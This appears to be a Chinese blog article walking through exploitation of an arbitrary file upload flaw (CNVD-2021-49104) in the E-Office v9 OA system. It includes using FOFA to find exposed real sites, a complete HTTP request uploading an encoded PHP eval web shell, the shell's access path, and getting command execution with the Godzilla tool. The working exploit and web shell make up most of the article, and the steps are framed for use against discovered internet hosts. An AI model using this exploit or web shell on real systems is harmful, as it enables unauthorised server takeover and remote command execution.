| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> PHP知识库 -> 某 E-Office v9 任意文件上传漏洞复现实战 -> 正文阅读 |
|
[PHP知识库]某 E-Office v9 任意文件上传漏洞复现实战 |
前言由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。 本文章中的漏洞均为公开的漏洞收集,如果文章中的漏洞出现敏感内容产生了部分影响,请及时联系作者,望谅解。 一、漏洞原理本次复现漏洞为未公开漏洞 CNVD-2021-49104,该漏洞是由于 e-office 其上传模块中用户输入部分未能妥善处理,攻击者可以构造恶意的上传数据包,实现任意代码执行。 下图为漏洞相关代码段 ? 图1 漏洞代码段 存在漏洞的源代码位置,主要是源于 uploadType 参数设为 eoffice_logo 时,对文件没有校验,导致任意文件上传。 二、漏洞复现实战1.信息收集FOFA收集涉及E-office的Web站点 ? 图2 FOFA信息收集 2.选取复现目标以XX网站为例 ? 图3 OA E-office 界面 3.构造POCBurpsuite进行抓包,改包。数据包构造为 POC: POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1 Host: 127.0.0.1:7899 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36 Accept-Encoding: gzip, deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Connection: close Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6 Cookie: LOGIN_LANG=cn; PHPSESSID=0acfd0a2a7858aa1b4110eca1404d348 Content-Length: 193 Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4 ? --e64bdf16c554bbc109cecef6451c26a4 Content-Disposition: form-data; name="Filedata"; filename="test.php" Content-Type: image/jpeg ? <?php @session_start(); @set_time_limit(0); @error_reporting(0); function encode($D,$K){ ? for($i=0;$i<strlen($D);$i++) { ? ? ? $c = $K[$i+1&15]; ? ? ? $D[$i] = $D[$i]^$c; ? } ? return $D; } $pass='pass'; $payloadName='payload'; $key='3c6e0b8a9c15224a'; if (isset($_POST[$pass])){ ? $data=encode(base64_decode($_POST[$pass]),$key); ? if (isset($_SESSION[$payloadName])){ ? ? ? $payload=encode($_SESSION[$payloadName],$key); ? ? ? if (strpos($payload,"getBasicsInfo")===false){ ? ? ? ? ? $payload=encode($payload,$key); ? ? ? } eval($payload); ? ? ? echo substr(md5($pass.$key),0,16); ? ? ? echo base64_encode(encode(@run($data),$key)); ? ? ? echo substr(md5($pass.$key),16); ? }else{ ? ? ? if (strpos($data,"getBasicsInfo")!==false){ ? ? ? ? ? $_SESSION[$payloadName]=encode($data,$key); ? ? ? } ? } } ? --e64bdf16c554bbc109cecef6451c26a4-- ? 图4 Burpsuite改包 结合burp响应情况,回显为文件名,成功上传文件logo-eoffice.php。 4.验证漏洞并getshell进行上传操作后,访问以下路径 http://???/images/logo/logo-eoffice.php ? 图5 访问文件路径 使用工具哥斯拉,进行连接shell ? 图6 哥斯拉getshell 进行命令执行,可以正常执行,成功getshell ? 图7 命令执行 结束语本文章简要介绍了该漏洞的漏洞原理并完成了漏洞复现的实战。感谢小黑师傅的友情帮助 |
|
PHP知识库 最新文章 |
Laravel 下实现 Google 2fa 验证 |
UUCTF WP |
DASCTF10月 web |
XAMPP任意命令执行提升权限漏洞(CVE-2020- |
[GYCTF2020]Easyphp |
iwebsec靶场 代码执行关卡通关笔记 |
多个线程同步执行,多个线程依次执行,多个 |
php 没事记录下常用方法 (TP5.1) |
php之jwt |
2021-09-18 |
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 | -2024/12/27 5:49:45- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |
数据统计 |